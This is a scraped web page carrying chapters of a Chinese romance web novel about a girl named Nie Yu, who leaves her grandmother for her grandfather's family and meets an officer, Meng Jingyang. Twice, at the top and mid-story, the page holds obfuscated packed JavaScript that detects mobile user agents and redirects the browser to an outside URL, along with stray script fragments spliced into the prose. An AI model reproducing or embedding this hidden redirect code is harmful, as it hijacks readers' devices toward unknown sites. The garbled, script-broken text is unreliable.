;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353328|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶最终还是会答应放你去燕城。”坐下后,看着孩子给自己倒了杯茶,谢静芳揽着聂宇坐在自己脚边的板凳上,低声问。 “我知道您会答应,因为您爱我疼我,一心盼着我好。只是,我没想到、没想到您还会为我做那么多……” 都说聂宇早慧,所以打小才身体不怎么好。而聂宇确实聪明,所以她听了几句奶奶与舅舅过招,就知道她是在帮她,让她最起码以“客人”的身份回到燕城蒋家去,而非寄人篱下的小可怜。她不想她受到怠慢! “奶奶,我突然后悔了,很后悔很后悔……”聂宇的眼睛红了。这也是她今天一直蔫哒哒的主要原因,心里憋着太多情绪了。 “不许后悔,这是你自己做的选择,现在木已成舟,你不能再说不去。”谢静芳板着脸训她一句,又软了心肠搂抱住她,轻声安抚道,“我的小羽毛做得对,燕城那里有你想要的,而在旬城,你活的太累太累……奶奶终究是老了哟。” 她的孩子有一颗明亮的心,而她已经无力让它不再蒙尘。 “留给你舅舅的丑话,方才在席间已经说给他听了。现在,是给你的。”祖孙俩伤感一阵过后,谢静芳松开聂宇,捋了捋她耳边的碎发,轻声叮嘱,“虽说蒋铸是你的亲姥爷,蒋家也是你的家,但那儿的环境到底跟咱们这里不同,你去了之后要先低调一段,大委屈不受它,小委屈却要装糊涂。要抓大放小,唯有此才能过得轻松一些……最重要的,不要任性,不要再自作主张,拿不准地给奶奶打电话,听到了吗?” 聂宇此刻只会点头了,她要用自己所有的言语和行动让奶奶放下心。殊不知谢静芳看她这般乖巧,越发担心自己的孩子会受委屈了。长夜漫漫,祖孙俩的话怎么也说不完。 - 从定下离别之期之后,旬城就开始下雨,仿佛是要把这座城淹了似的。聂家两个儿子已经各自回单位待命,至于他们俩人的媳妇,则是无聊地窝在家里,各种找茬。这其实正中聂宇的下怀,在离开之前她最后想做的一件事,就是想震慑一下她的这两个婶婶,不让她们在她走后欺负谢静芳。 说起来也是王盈自己送上门,这天她又当着谢静芳的面儿重提换房间的旧事,还拿聂宇的离开说事儿。说她走了之后,老太太更住不着这么大的房间了,不如给杰英。 聂宇替奶奶断然拒绝,说老太太腿脚有风湿病,都是年轻时赚钱落下的,睡在南向的屋子里可以晒到太阳。王盈见状开始扯七扯八,见聂宇不怎么理会,便气上心头,冷哼一声后开始口不择言:“到底是要去燕城部队大院儿的人,有了人撑腰,都开始不拿大爸大妈当回事了!” 这话倒也不完全算是信口胡说,王盈这是捏住了祖孙俩的命门,往她们心上扎呢。却不想聂宇并不在意,闻言她只是转了转眼珠,故作天真不解地问谢静芳:“奶奶,我真的能找我姥爷和舅舅撑腰吗?什么事儿都行?” “那当然。”谢静芳正在纳鞋底,听了孙女的话后笑着抬头,对聂宇说,“没听你舅舅说嘛,那可是你亲姥爷亲舅舅!” “可不是嘛!那以后我遇到什么事了,都找他们,看谁还敢欺负我!” 聂宇颇为得意地向王盈挤了挤眼睛,王盈气得要发疯,却也不敢再胡说了。她是不信蒋家那边有多待见聂宇,可毕竟是亲的,关系比她这个外人近上千百倍。到时候如果聂宇真的撺掇着蒋老爷子来主持公道,也不是没有可能! 王盈忍下这口气,晚上等丈夫回来之后将事情告诉了他,果然引来他一番痛骂—— “你个糊涂婆娘,蒋家,那可是燕城蒋家,一棵草也比你金贵,这个时候了你还去折腾换什么房间!以后乖乖在老太太面前夹着尾巴做人吧,少给我找事!” “……”王盈只好心不甘情不愿地作罢,看着丈夫那张疲惫至极的脸,没再反驳。 隔壁房间里,谢静芳也在说孙女:“你跟你大妈置什么气,不抬出蒋家的人来,你奶奶就治不了她了?” “当然能,但这不是更省事么。要说提,还是她先提的呢,我不过是借力打力。”聂宇轻声道。 谢静芳只是笑,将她搂到自己怀里,低声说:“放心吧,你奶奶年轻的时候就是人精,现在老了只能越活越妖,可以提顾住自己的。这个屋子,我肯定不会换。” 不换屋的考量当然不只是因为她的身体,但她只会跟聂宇说这么多。 “嗯。”聂宇安心了,又跟谢静芳说,“奶奶,我有个铁盒放在咱屋的立橱里了,等走了之后你记得拿出来,帮我找个更稳妥的地方收起来。收之前你记得打开看看,里面有东西呢,不能少。” “这么宝贝的东西你不能收着,还要交给我?”谢静芳纳闷。 “不能,这东西得我也不知道在哪儿才行,这样才真安全。” 谢静芳无言,接受了孙女的歪理。殊不知那个铁盒里放了一个信封,里面除了一封信外还有一个五千块的存折。这是聂宇从小到大存的所有钱,她原是打算走之前把奶奶给大爸替她联系复读的钱都从他手里抠回来的,但现在时间有限来不及,只能先拿自己的补上。聂宇一点也不心疼,她愿意把所有的好东西都给奶奶。 - 第三天,旬城的雨小了一些,聂家的所有人都留在了家里。因为,今天是聂宇出发去燕城的日子。 蒋云鹏一进家门就看到这副所有人正襟危坐神情严肃的样子,不由得笑了:“老太太放心,小宇去燕城只有享福的份儿,不会让她受罪的。”真用不着摆这么大的排场吓唬他。 谢静芳只是点点头,嘱咐老大聂传洋和孙子聂杰英先行把聂宇的行李提了下去,然后在聂宇的搀扶下,下了楼。 “奶奶,你放心,到了燕城之后,我第一时间给您打电话。” 小雨淅沥,落在聂宇脸上,显得她是这么小这么可怜。谢静芳心头瞬间涌上一阵酸楚,却也只是压了下去,缓缓点了点头,向一旁的汽车示意—— “上去吧。” 蒋云鹏开来了一辆军用吉普,这是他来时向秦城军区的人要的,他们得坐着这辆吉普车先回到秦城,然后在那里停留几日后,搭飞机前往燕城。这两日,他已经让人订好了机票。 聂宇坐到了后排,落下窗户看向窗外,看到奶奶的白发在风中微颤,瞬间就想落泪。但她不能在离开前再让奶奶伤心,便强忍着向她挥了挥手,一直到车开走,才勉强收了回来。 就在这时,她听着奶奶含着哭腔的声音从后面传来:“澄澄,去了燕城照顾好自己!照顾好自己!” 聂宇透过后视镜看着里面那个越来越小的影子,顿时泪如雨下。 - 一旁的蒋云鹏见证了这副感人肺腑的离别场面后,除了不以为意外,还略觉尴尬。他递了一张手帕给聂宇,半是安慰半是调侃道:“人老了就是操心多,我家孩子这是回她亲姥爷家呢,又不是去龙潭虎穴。” 这话原来是说给前排的司机和随行的一个干事听的,他们听了果然笑了笑。聂宇没有吭声,接过手帕擦泪,看着窗外又下起来的雨,一颗心仿佛也被浓重的湿意包裹住了,简直快要喘不上来气。 这样的沉重并不只是因为离别,还有一些对未知未来的迷茫和恐惧。其实她有一件事没有告诉奶奶谢静芳,从头到尾都瞒得死死的:她这次能去燕城,并不是因为姥爷蒋铸的大发慈悲和舐犊情深,而是她与他做了个交易,或者说打了个赌。 3. 05-06 -05- 秦城距离同在一省的旬城有近三百公里的路程,中间虽相隔了不少市县,但今日的天气却同属一色,皆是下着绵绵细雨。 聂宇一行抵达秦城军区招待所的时候,已接近傍晚时分。整个招待所大院里那些被雨打落在地的树叶早已被士兵打扫干净了,吉普车碾着干净的道路驶过,最后停在了一栋五层小楼前。 “怎么停这儿?”坐在副驾驶的干事一皱眉,看着司机小李说,“开到甲字楼那边去。” 整个招待所大院有五栋楼,分别以“甲乙丙丁戊”命名。其中甲乙两栋是小洋楼的设计,剩下三栋则是普通招待所的规格。小李也是秦城军区机关里用惯了的老司机了,哪里会连这个也不懂,只是今天在甲字楼那边服务的老乡已经提前给他通过气了,说是楼里来了客人,这几天暂时不会安排新住户。 干事听了这话,有些尴尬地朝后排的蒋云鹏一笑:“首长,那今天只能委屈您们住这边了。” “没事。”蒋云鹏摆摆手,有些好奇地问小李,“那边说没说来的是什么人?” “没,不过听说是挂着司令部牌照的车来回接送的。” 蒋云鹏若有所思地哦一声,而后突然看向聂宇,说道:“既然如此,那咱们就先下车吧,小宇。” 在来的路上,出于无聊,蒋云鹏向聂宇打听了她的名字。因为临别前,他又听到了谢静芳喊她“澄澄”,多少有些糊涂。 聂宇向他解释了由来。在她刚出生的时候,名字是由奶奶谢静芳起的,叫聂镜澄,小名澄澄。及至她长到了快两岁,父亲聂传江不知道怎么忽然跟“宇”这个字看对了眼,说这个字不错,既好写又含义丰富,听上去就很广阔深远。谢静芳对此的反应很平淡,她还是喜欢“镜澄”这两个字,听上去多敞亮。但她见儿子执意想改,也晓得他是借此斩断跟蒋云清的过往,便捏着鼻子答应了。后来又让算命的过了目,怕孩子年纪太小压不住这个“宇”字,又起了个“小羽毛”这样“轻贱”的小名。因为叫习惯了,在最初改名的头半年里,谢静芳还是叫她澄澄,后来就渐渐改为“小宇”了,特别宠爱或者心疼时则是叫“小羽毛”。对于祖孙俩来说,“澄澄”是压在最心底的名字,是谢静芳最初对这个孙女的全部期待。 蒋云鹏听完之后,故作调侃地问聂宇,说她是想让他叫她“小宇”还是“澄澄”。聂宇笑了笑,选择了前者。在这一点上,她无意奉承蒋云鹏。 果不其然,蒋云鹏继续这么叫着。聂宇听到之后乖巧地应了一声,提着行李下了车。 安排给俩人的房间在二楼,是个两室一厅的套间,也算是整栋楼里规格最高的了。蒋云鹏环视了一圈表示满意,就让聂宇先在房间里歇着,他出门有些事要办,很快回来。聂宇听话地点点头,等他出去之后,她把行李放到一旁的柜子里,来到窗前推开窗户,向外微微探了探头。 这不是聂宇第一次进入带有“部队”这一标签的地方了,但仍是感觉新鲜。她觉得部队跟外面的世界是各种意义上不同的两个世界,只看道旁栽种的树,都能感受到整饬与威严。忽而有脚步声传来,抬眸一看是一列十数人的纵队在向这边走来,聂宇立刻缩回了头,只留下一扇窗。 因为不知蒋云鹏的去向,聂宇就按照他所说的,在房间里休息。大概过了快一个小时,开饭号都已经吹过了一刻钟后,蒋云鹏回来了,二话不说带她去吃饭。聂宇早就有些饿了,听了这话后动作十分迅速地披上了外套,穿上了鞋。 - 俩人自然是在招待所里专门招待客人的餐厅里吃的饭,蒋云鹏让聂宇点的菜,小姑娘兼顾着两人的口味点了三道,顺利赢得了对方的称赞。他随后又加了一道,然后嘱咐厨房抓紧去做。 饭菜吃到一半的时候,跟着他们一起来秦城的那名干事又来了。他先是问过饭菜合不合口,然后在距离聂宇一人之隔的位子上坐下,压低了声音同蒋云鹏交谈了起来。 “甲字楼那边的情况我了解过了,是孟家的人。”张干事低声说。 “孟家?”蒋云鹏略蹙眉,“孟静东?他来秦城了?” “不是,听说是孟家的老小,孟司令员的弟弟。”张干事表情十分谨慎,仿佛生怕人听了去。 “孟家老小——孟京阳啊?”蒋云鹏更吃惊了,仿佛这人的出现,比他哥孟静东更不可思议。 “说是从南边直接过来的,待几天不清楚,只知道过段时间也是要回燕城的。他的任命在燕城,不在咱们这儿。” “行啊。”蒋云鹏咽下一口菜后,说,“他回燕城倒是不稀奇,若是他真任命到你们这儿,那倒有点儿意思了。” 孟家,是在全军系统内都很有份量的一个存在,不光因为老一辈的光辉成就,现时担任燕城军区司令员的孟静东也算是个传奇人物。他早年是从外面留学回来的,当时所有的“海归派”都是享正排级待遇,独他一人享副连,从起跑线上就赶超众人一头。后来又多次上战场历练,取得了赫赫战功,归国之后凭此实现了三连跳,在迈入不惑之年的时候当上了军长,又在八年后坐稳了大军区正职,这其中凭借着,全是他个人的硬实力。 即便是资历再深厚的人,对此也说不出什么,甚至见了孟静东还会感慨两句。可孟静东私下里却在一次朋友聚会中慨叹,说马上孟家的门面就不靠他撑了,而是靠他的小弟孟京阳。 众人都觉得他是在说笑。孟京阳此人,说起来是个有为青年,近三十岁的年纪已经晋升为两毛二,打国外进修一圈回来,眼看着未来也是前途似锦。但到底不是战争年代走过来的,血性这一项上估计跟他哥就没法比,更何况他行事作风上还有些“西派”。这一点,就犯了很多老前辈的忌讳。 不过也无妨,出生在这样的家庭里,是可以任性一点。但要想往后走得顺,还是要收一收性子,否则少不得会有一些麻烦。 蒋家与孟家的关系,说近不近,说远不远。因为蒋家到了蒋云鹏这一代,直系血亲中只有他一个人从军,还是负责后勤这一块儿,跟孟静东和孟京阳都搭不上话。所以,哪怕来人是孟静东他都不好去凑这个热闹,更何况是孟京阳。 不过他对孟京阳这个后辈还是有点儿兴趣的,听说他在孟家也算是个异类,有机会的话他倒想瞻仰瞻仰这小子的“风采”。 又想起什么事,蒋云鹏抬手向张干事一示意,俩人走到饭厅一角的露台去抽烟,顺便说说私话。而聂宇则留在原地,继续吃他们点的菜。其实聂宇胃口并不好,一天舟车劳顿下来,让她的胃里有些起腻。但从饭厅望出去的风景不错,再加上现在这里没什么人,所以她愿意在这里坐一坐。 听人说,秦城军区的招待所大院是由民国时期的一个军阀的花园改造得来的,所以处处透着一些与部队冷硬风格不符的精致。但客观来说,这个不知名军阀的审美还是不错的,聂宇坐在这里享受着微风,感觉心情都轻飘了不少。 忽而,有低微的交谈声从身后传来,聂宇回头看了一眼,发现一个男人正站在接待台前同服务员说话。从她的角度,只能看到男人的背影,瞬时得到的印象是:高大,肩背板正挺阔,头发留得很符合她对军人的认知,因为发茬短再加上略低着头,微露出一截后脖颈,在灯光下看着还挺白。几乎是下意识的,聂宇觉得这人的正脸一定长得不错,但她没有这个爱好或者说胆量凑到人家面前去看。察觉到他似乎是发现有人在盯着自己,赶在对方将她抓包之前,聂宇收回了视线,低头就着盘子里的菜又吃了几口。 丝毫不显得狼狈。 - 初到秦城的第一晚,就这样潦草简单地度过。 往后几日,因为蒋云鹏还有事情未办完,俩人需要在这里做短暂的停留。未免聂宇在自己顾不上她的时候感觉无聊,又或者心念一起出去乱跑,蒋云鹏让张干事给她安排了一辆车,想去哪里逛就让司机开车带着她去。 从小在旬城长大,作为省城存在的秦城来了不说十次也有九次,聂宇对“逛”已经实在提不起兴趣。但她确实打算去一个地方,那就是去苗淼所在的医学院找她。 高考之后,苗淼录取到了秦城一家医学院学医,算是成功继承了家中父母的衣钵。聂宇来找她,一是想在临去燕城前再跟这个好朋友见一面告个别,二是想借着她家在秦城医院里的关系,找一找殷凡的下落。 她有些想……再见殷凡一面。 -06- 有专车的好处就是说走就走,聂宇只用了一刻钟不到就赶到了秦城医学院,在女七宿舍楼下见到了好友苗淼。 老友相聚,自然是一件十分开心的事,但苗淼见她出现在这里,便猜到她“谋划”的那件事多半应该成了,她这趟估计就是来跟自己告别的。 当初唯一知道这件事的人就是苗淼,因为聂宇需要她帮忙打掩护,一边瞒着她家里这边,一边还要搪塞她哥。所幸,苗淼的任务完成地十分出色,聂宇请她吃了一顿大餐。 今天中午这一顿,两人也是在校外一个不错的餐馆吃的。遭受学校食堂荼毒近半个多月,苗淼就像是饿狼扑虎一样,太快朵颐地十分尽兴。聂宇一边给她夹菜一边问她入学后的情况,一顿饭过半,才问起殷凡来。 “你还没打消这个念头呀?”苗淼瞪着眼睛,有些无语地问聂宇。当初得知殷凡被家里转到秦城来之后,聂宇就拜托过她帮忙打探他的消息了,说是想见他一面。没想到这都快过去一个月了,她还在想着这个事。 “干嘛要打消?”聂宇平静反问,“我就是想见一下他,把事情都说清楚。” “有什么好说的,事实就是他自作多情,心理脆弱,接受不了被你拒绝的现实就自杀。而他的家里则是非不分,管教不好自己的孩子就把气撒你头上。” 苗淼没好气道,引得聂宇直点头。 “你是旁观者清,但殷凡本人知道不知道这些事呢?”她笑一笑,问道。 “……”苗淼一噎,“你的意思是,把他父母的所作所为都告诉他?让他知道是谁毁了你的高考,好一辈子对你感到亏欠?” 苗淼仔细想了想这件事,说:“其实我老实跟你交代吧,我半个月前刚来秦城的时候,就从我哥那里知道了殷凡的下落。他就住在我们学校的附属医院里头,人恢复的还行,就是精神头不怎么好。我哥偶然听到过几次他跟他爸妈的对话,好像他已经知道了他们对你做的事,心里挺难受的……” 言下之意,聂宇没有必要再为了刺激他而去一趟了。 聂宇对此并不意外,她惊讶的是苗淼居然瞒着她。 “不管啦,反正我想去。如果方便的话,先让你哥跟殷凡通个气吧,挑个他爸妈不在的时候,我跟他说几句话就走。当然,如果他不想见我,那就算了。” “他还敢不见你?他是个什么东西,还挑上了?”苗淼很为好友不忿,等她反应过来的时候,才发现自己好像已经默许会帮她办这件事了。 苗淼很生气,生自己的气。她不由又瞪聂宇一眼,不明白这妮子为什么这么坚持。 聂宇倒是笑眯眯的,举起筷子又给苗淼夹了一块葱油鸡腿到她碗里。 “就这两天吧,好不好?我能在秦城停留的时间不多。” 苗淼:“……”她可以拒绝吗? - 聂宇见完苗淼就回招待所了,待在房间里看随身带着的一本书。傍晚时分,她吃完饭回来,接到了苗淼打过来的外线电话,说是她哥那边已经安排妥了,殷凡愿意见她,时间就定在明天上午十点。 这个时间段是殷凡父母所在单位开每周例会的时候,他们必不能缺席。苗淼如是解释道。 “好呀,谢谢你啦。”聂宇说。 “你先别谢,明天我要跟你一起去。我哥不好掺和这事儿,但你身边也不能一个人也没有,出了事好歹有个帮腔的!” 聂宇不觉得会出什么事,但苗淼如此坚决,她也不好回绝了。俩人约好了明早九点在百货商厦前面碰头。 - 当晚,聂宇睡得不太安生。第二天一早起来去餐厅简单地吃了点东西,她回到房间换了身衣服,就按照事先约好的去楼下等司机了。 抵达一楼的时候,外面又下起了雨。聂宇穿着简单的长衣长裤,居然还感觉到一丝凉意,她抬头审视了下天色,有些纠结要不要上去再添件衣服。 忽而,一辆从甲字楼驶过来的吉普车从她面前经过,速度略快,坐在后排那人的侧脸从她面前一闪而过,仿佛触动了她的某个神经。聂宇愣了下,等她回过神来时,接她的司机已经将车开了过来。 聂宇只好放弃上楼拿衣服,快走两步上了车,礼貌地请司机将她送到秦城百货商厦。这是她早就盘算好的,在那里和苗淼汇合之后,俩人再一起坐公交去医院。她不太想让舅舅蒋云鹏知道她今天去干了什么,虽然不确定司机会不会把她的行程一五一十向对方汇报,却还是觉得谨慎一些好。 二十分钟后,司机将她送到目的地。此时苗淼已经到了,见她从一辆吉普车上下来,耐着性子等聂宇跟司机交代好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353329|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再来接她的时间后,才一把将她拉到自己身边,低声问:“既然有车,干嘛不让他直接送我们去医院,还要咱们自己折腾?” 聂宇没回答她,她从自己的挎包里拿出一个白米糖糕来,笑眯眯地递给苗淼,问道:“吃吗?专门给你带的。” 这白米糖糕算是旬城的特色小食,苗淼从小吃到大,十分喜爱。聂宇今早吃饭看到餐厅里有,就打包了一个,特意来堵她的小嘴。 果不其然,苗淼看到吃的就忘了一切。她欢喜地接过,挽住聂宇的胳膊,一边吃一边陪她往公交站走。 - 在距离约定的时候还差十分钟的时候,俩人抵达医院。 苗淼她哥这会儿正忙着查房,提前留了话,让她们两人自己去病房。苗淼嘴甜地谢过传话的人,像回自己家一样,带着聂宇就直奔殷凡的病房而去。 虽然做足了心理准备,但聂宇看到殷凡的时候,还是吃了一惊——他快瘦的不成人样了。而殷凡看到聂宇时同样惊讶,她将原本一头乌发润厚的长发剪成了齐肩,整个人的脸色有些苍白,身形也比之前消瘦了些许。看来这段时间,她应该十分不好过。 “聂宇,你来了……” 殷凡主动同她打招呼,意识到自己还坐在床上,他立马掀开被子准备下床。 “你别动。”聂宇制止他,“坐在床上跟我说话就好。” “……”殷凡的动作一顿,嘴角泛起一丝苦笑,“我是这段时间没怎么吃饭,所以身体有些虚弱。并不是,有什么大病……” “那你怎么不吃饭呢?”聂宇反问,“人不吃饭还能活着吗?” 殷凡看着她没有说话,等病房外传来一阵急促的脚步声时,他才意识到他们时间有限,就赶紧示意聂宇坐下,并问她的来意。 “其实也没有什么事。”聂宇没坐,她不打算久留,便仍旧站着说,“只是觉得这件事如果就停留在这地方,会让我心里头有些不得劲,所以才想着来见你一面。” 殷凡脸上再度显出惭愧的神色:“这件事都是我不好,当时冲动了,没想到后续会牵连到你,给你造成那么大的麻烦。” “那你真是想的有些少了。”聂宇低声说,“你做出那个选择的时候就应该明白,你家里人得知真相之后肯定不会放过我。” “对不起,对不起……”殷凡连声给她道歉,一颗脑袋都快埋进了□□。 “你不用跟我道歉,因为我——目前肯定还做不到原谅你和你的家人。”聂宇说,“但这件事,我也有做得不敞亮的地方,所以我可以尽量先做到不再恨你。” “……”殷凡的神情有些震惊,也有些迷茫,他没太懂聂宇的意思。 “意思就是这件事到这里就结束了。以后我不会找你们家要什么补偿,你也看好自己家人别让他们再来找我的麻烦了,可以吗?” 原来,她是来彻底划清界限的。 殷凡知道这是个必然的结果,但心里还是难受。他还是喜欢聂宇,十分喜欢。 聂宇看着殷凡痛苦挣扎的样子,心里头其实是有些唏嘘的。她当时,真有点儿不该小看少年人的感情。 “殷凡,我问你一个问题吧。”她想了想,说道,“你觉得表白失败跟高考被毁,哪件事更痛苦,更不能忍受?” “……那自然是高考被毁。”殷凡明白她的意思,闷闷地回答道。 “好,这是你说的。”聂宇笑了下,话锋一转,“可我也没想着去自杀啊。” 纵使如此痛苦,她都没想过死,而他又凭什么撑不住呢,他完全没有必要为了这件事去轻生。 听懂了聂宇的话中之意,殷凡面颊通红。在她面前,他已经成了没有资格诉说痛苦的人。 “对不起——”归根结底,他只会说这一句了。 “其实,我是想安慰你一下。”聂宇说。这也是她最后能给他的一点善意了,从此以后,他们不再是朋友。 - 出了医院大门,聂宇站在台阶前看雨,心情有些复杂和沉重。 若说她不恨么,那还是恨的。但在恨了这两个月之后,她还是选择了跟对方近乎和解,达成了她想要的共识。都说一个人成熟的标志就是学会吞咽委屈和妥协,那这件事对她来说,其实并不陌生。从她懂得奶奶的不易,明白自己的处境以后,她就不能活得太恣意了。所以她现在感觉虽难受,虽憋屈,但还是在自己可以接受的范围。 聂宇回过神来,开始四处寻找苗淼。这妮子在送她进病房前说是要去买这附近的一家甑糕,到现在还没回来。也是到此时,她才意识到来来回回有不少人在看她,聂宇略一蹙眉,稍微往一旁让了让。她并不知道,刚她那略带愁色和怅然的一张脸,有些吸引人。 就在她刚站定不久,有惊呼声从右手边的方向传来,聂宇听着耳熟,就循声快步走了过去,到了一看果然是苗淼,她正在跟一对老人拉拉扯扯,仿佛起了争执。 “苗淼,怎么了?”聂宇立刻走上前,拔高声音问苗淼道。同时又警惕地看了那对老人一眼,试图从声势上先压住他们。 “小宇你来了,他们、他们抢我的钱!” 苗淼急的快哭了,指着那对老人道。而那俩老人此刻只顾往自己口袋里塞钱,闻言只是回嘴:“谁抢你钱了,这是我们的,你个小姑娘穿得体体面面的不要乱讲话!” 聂宇一时搞不清楚事情的来龙去脉,就给苗淼使了个眼色。而她则在苗淼讲述的过程中,稍微向一侧移了移,可以随时挡住那两个老人的去路,以防他们忽然跑掉。 原来,苗淼在买甑糕回来的路上遇到这对沿街乞讨的老人,他们声称来省城看儿子被人偷了钱,现在走投无路想问苗淼借几块钱去吃饭。苗淼轻信了他们,在往外掏钱的时候露了点小财,被这对老人中的老爷子看在眼里,就上前来抢夺了。而他多无赖呢,只捏住了那张面值10元纸币的一角,就大言不惭地声称这钱是自己的了,还反过来倒打一耙说苗淼抢他的钱。 聂宇得知了事情的真相,也晓得苗淼这是遇见骗子了,帮她一起拦着不让那对老人走,还说不还钱就报警。那对老人中的老婆子见这两个姑娘有些难缠,便装作不舒服“哎哟哎哟”了起来,作势就要往地上躺呢。 聂宇和苗淼简直目瞪口呆,这是不光抢钱还要讹人吗? 两人对视一眼,头脑飞快地想着计策。正在此时,一道男声从身后传来:“两位小同志,发生了什么事?” 她们回头,看见来人穿了一身簇新的军装! 4. 07-08 -07- 这年头,遇到困难找解放军的念头还是十分根深蒂固的,是以看到来人后,聂宇和苗淼都暗自松了口气。见他显然是过来主持公道的样子,苗淼连忙松开聂宇,蹿到来人身旁,向他道明了事情原委。 男人听完全程,表情未有任何变化。只是细瞧的话,能看得出来他看向那对老人的眼神中含着一丝讥诮和嘲讽。这种当街拦人的把戏真的是太老了,也就骗骗小年轻。 当然,骗子是不会承认自己是骗子的,所以……还是需要些手段。 “你有证据证明这十块钱是你的吗?”男人收回视线,先问苗淼。 “……这。”苗淼迟疑了。她该怎么证明这钱是自己的,虽然明明是从她自己口袋里掏出来的,但钱都长得一个样啊! 苗淼的反应,在男人和那对老人的意料之中。果不其然,俩老无赖露出了“料定你没辙”的不屑表情,而男人,则是准备往下一步引导。对于这一个问题的答案,他本身就不抱任何期待。 “等一下。” 忽而,一旁沉默的聂宇开口了。余下四个人皆向她望去。 聂宇轻抿一下嘴唇,抬眸,视线牢牢锁住那对老人。 “你说这钱是你的,那说明从一开始这钱就一直被你们攥着,没经过别人的手是吧?” “那当然了。”那对老人中的老头儿大言不惭道,“在我兜里装得好好的,这个小姑娘冲出来非要说是她的,你说有没有这样的道理。” “那写在钱上的那个名字,应该也只有你知道是哪几个字喽?” 聂宇再问,老头儿想也没想就答:“那肯定——” 老头儿僵住了,意识到这是一个陷阱。而一旁的老婆子反应则是更快,她立刻就拿出那张纸币来,来回翻看上面是不是有人名。 “苗焱,是不是这两个字?” 聂宇此刻已经足够气定神闲,而那对老人则是彻底傻眼。没错,确实有一个“苗”和一个不大认识的什么字。 被抢白了后兀自看戏的男人,此时伸手施施然从老婆子手中将十块钱纸币取了过来,他捏在手指间正反两面来回看了看,确认了上面有字,并且正是聂宇所说的“苗焱”。这是苗淼亲哥的名字。 “看来真相已经浮出水面了。”男人看了那对夫妇一眼。 “等,等一下。”老头儿尤不死心地挣扎着,“我当然知道钱上有哪两个字,她、她俩肯定是刚才抢钱过程中无意间看见了,所以才——” “你不是说钱一直攥在你手里吗,你老婆还要翻过来倒过去地看才能找到人名呢,我们怎么看得着?”苗淼这会儿也反应过来了,指着俩无赖就说,“而且这上面这个‘苗焱’是我亲哥的名字,我叫‘苗淼’,我俩一个火一个水,一听就是亲兄妹,所以这钱肯定是我的!” 苗淼抬手就要去够那张纸币,男人却没有还给她,害得她眼神收的不及,还瞪了他一眼。 “还不老实交代么?”男人不以为意,瞥向那对老无赖,“还是说,非要到局子里你们才肯说实话?”一顿,“说不定到那儿一查是老熟人呢!” 到最后男人的口吻冷硬了起来,这对老无赖见势不妙,迅速服软了。 “抱歉警察同志,是老婆子老眼昏花,见钱眼开了……是我,都是我,你可千万别把我们送进去,我们今天一分钱也没捞着,这不就是相当于没行骗,没做坏事嘛……” 聂宇和苗淼简直被她的逻辑逗笑了,敢情只要人还留有一口气就相当于没有杀人犯罪呗,也太能狡辩了。然而男人却比她们更了解现在的社会现实,知道像这对老无赖这样的送进去也不过是教育几句就放了出来,干脆懒得折腾。 “我就是管这块儿的片警,如果再有下一回,我保证你俩有进无出,听见没有!” 男人也不戳穿老婆子对自己这身衣服的错误认识,借势呵斥道。而那对老无赖早就被吓破了胆,此刻只有连连点头称是的份儿。见男人无意再追究,连忙相扶着逃窜了。 苗淼对男人的重拿轻放有些不满,但既然钱已经拿回来了,她也就不计较那么多了。像这样的骗子她之前也听她哥说过,没想到今天一个不小心,就亲身体验了一番,真是好险啊。 “这位同志,刚才真是多亏了你。” 这边聂宇已经反应过来向来人道谢了,苗淼赶紧也凑了过来。 “不必客气。其实,你更应该感谢的人是你的朋友。”这话是对苗淼说的。 “那倒是耶!”苗淼立刻看向聂宇,“不过你啥时候知道我那张钱上有字的,连我都忘了!” 聂宇有些想翻白眼了—— “今早在公交车站的时候呀,你买玉米的时候就掏的这张十块钱,那个摊主翻看了下发现上面写的有字,就退回来让你重新换了张。” “对哦,我当时还骂他瞎讲究来着,没想到竟帮了我一个大忙。”苗淼不好意思地笑,又问,“不过我兜里有好几个十块呢,你怎么确定他们抢走的就是有字的那张?” 所以说,出门就不要带那么多钱!聂宇无语了下,回答她:“碰运气呗,只能说那俩老无赖运气不好。” “哈哈哈哈好吧。” 苗淼乐的开怀,而那个男人则是饶有趣味地盯着她们。 聂宇见状只好再次感谢他,心想这人怎么还不走,难不成是想要她们“有所表示”么。真要如此,她们要不就请她吃顿饭? 似乎是看出了聂宇的想法,男人轻咳一声,说:“你不用再谢我了,其实也不是我主动想来‘英雄救美’的。” 嗯?聂宇和苗淼皆是一副不解的样子。 男人回过头,向不远处轻抬下巴示意了下:“喏,真正的活雷锋在那儿。” - 聂宇和苗淼顺着男人的视线望过去,看见不远的拐角处停着一辆挂军牌的车子。似乎是知道自己“暴露“了,在被行注目礼半分钟后,军车后排的窗户徐徐降了下来,露出一张平淡而绝不寡淡的人脸来。苗淼看了,不由得低呼了一声。 聂宇的心里也泛起了汹涌的波澜,却绝不是出于什么惊艳、感激或者欣赏之类的。而是一种晴天霹雳:很好,果然是他! 聂宇险些有些站不住,而一旁的男人见状偏还要凑上来,问她:“姑娘,你认识他么?” 聂宇特想翻脸不认人地回答不认识,但军车里的男人压根儿没给他这个机会。他抬手向她打了个招呼,动作之随意,之流畅,显然是在面对一个熟人。 “认识。”她轻咬了下牙,说,“没记错的话,他就是孟京阳吧?” “……吧?这么说你还有些不确定啊?那看来你俩也没有很熟。”男人笑说,语带调侃。 本来就没有。聂宇低声在心里反驳了句,余光瞧见那头的孟京阳已经下了车。 “聂宇,好久不见。” 